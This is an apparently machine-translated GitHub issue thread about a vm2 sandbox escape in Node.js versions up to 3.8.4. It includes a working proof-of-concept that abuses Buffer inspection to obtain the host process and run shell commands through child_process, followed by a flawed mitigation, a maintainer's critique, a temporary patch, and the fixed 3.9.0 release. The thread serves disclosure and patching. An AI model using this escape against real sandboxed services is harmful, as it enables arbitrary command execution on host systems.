Kode berikut dapat digunakan untuk keluar dari vm, dan misalnya menjalankan perintah di shell.
Ini telah dilaporkan di # 187 di sini , ini masih berfungsi pada node 13.6.0 dan vm2 v3.8.4
const {VM} = require('vm2');
const vm = new VM({
wasm: false,
timeout: 2000,
sandbox: {},
eval: false,
});
const malicious = '(' + function(){
try { require('child_process').execSync("idea") } catch(e){} // Not getting executed
let buffer = {
hexSlice: () => "",
magic: {
get [Symbol.for("nodejs.util.inspect.custom")](){
throw f => f.constructor("return process")();
}
}
};
try{
Buffer.prototype.inspect.call(buffer, 0, { customInspect: true });
}catch(e){
e(()=>0).mainModule.require('child_process').execSync("winver") // Actually opens winver
}
}+')()';
vm.run(malicious)
@patriksimek Masalah ini telah diperbaiki dalam master, namun perbaikan datang dengan https://github.com/patriksimek/vm2/pull/242 yang ada setelah versi 3.8.4. Jadi mpn tidak memiliki perbaikan ini.
Ini tetap terbuka sampai v3.8.5 keluar.
Apakah kita punya ETA?
@ jan-osch Karena @patriksimek sepertinya tidak aktif, saya tidak tahu.
@XmiliaH terima kasih atas jawaban Anda dan semua kontribusinya!
Menurut Anda, apakah solusi dengan patch monyet seperti itu akan mencegah breakout hingga kami menerbitkan versi yang diperbarui?
const vm = new NodeVM({
console: 'off',
sandbox: {
console: consoleInterface,
setTimeout,
print,
// TODO remove once vm2 fixed the breakout issue
// Reference: https://github.com/patriksimek/vm2/issues/268
Buffer: {
...Buffer,
prototype: new Proxy(Buffer.prototype, {
get(object, property) {
if (property === 'inspect') {
return () => {
console.log('[BREAKOUT_ATTEMPT]'); // eslint-disable-line no-console
consoleInterface.error('Nice try! This breakout attempt will be reported');
};
}
return object[property];
},
}),
},
},
require: { // here define modules that can be required
builtin: [
// some list
],
external: [
//...
],
},
});
return vm.run(code, SCRIPT_PATH);
@ jan-osch Itu bukan soultion yang bagus:
1) Ini melupakan kunci [Symbol.for ("nodejs.util.inspect.custom")].
2) Memungkinkan untuk menulis ke prototipe Buffer host.
3) Masalahnya adalah console.log juga akan memicu masalah ini dan solusi Anda tidak melawan itu.
Sayangnya tidak ada solusi yang mudah.
Berikut ini adalah perbaikan hacky sementara yang tidak teruji:
function hacky_fix(vm) {
const internal = vm._internal;
const old = internal.Decontextify.object;
const handler = {__proto__: null};
internal.Decontextify.object = (object, traps, deepTraps, flags, mock) => {
const value = old(object, traps, deepTraps, flags, mock);
const better = new Proxy(value, handler);
internal.Decontextify.proxies.set(object, better);
internal.Contextify.proxies.set(better, object);
return better;
};
}
Ini menambal fungsi internal, jadi gunakan dengan hati-hati.
Terima kasih @XmiliaH! Apakah Anda mengetahui proyek apa pun dengan rangkaian pengujian untuk kasus breakout seperti itu? Saya ingin menambahkan beberapa tes breakout ke CI saya sebagai sistem peringatan dini
Kami memiliki beberapa kasus uji di test / vm.js. Cari saja serangannya dan Anda akan menemukan kasusnya.
pengingat ramah @patriksimek akan sangat bagus jika Anda bisa merilis versi baru.
@mxschmitt Baru saja dirilis sebagai 3.9.0. Saya minta maaf atas keterlambatannya.
Komentar yang paling membantu
@mxschmitt Baru saja dirilis sebagai 3.9.0. Saya minta maaf atas keterlambatannya.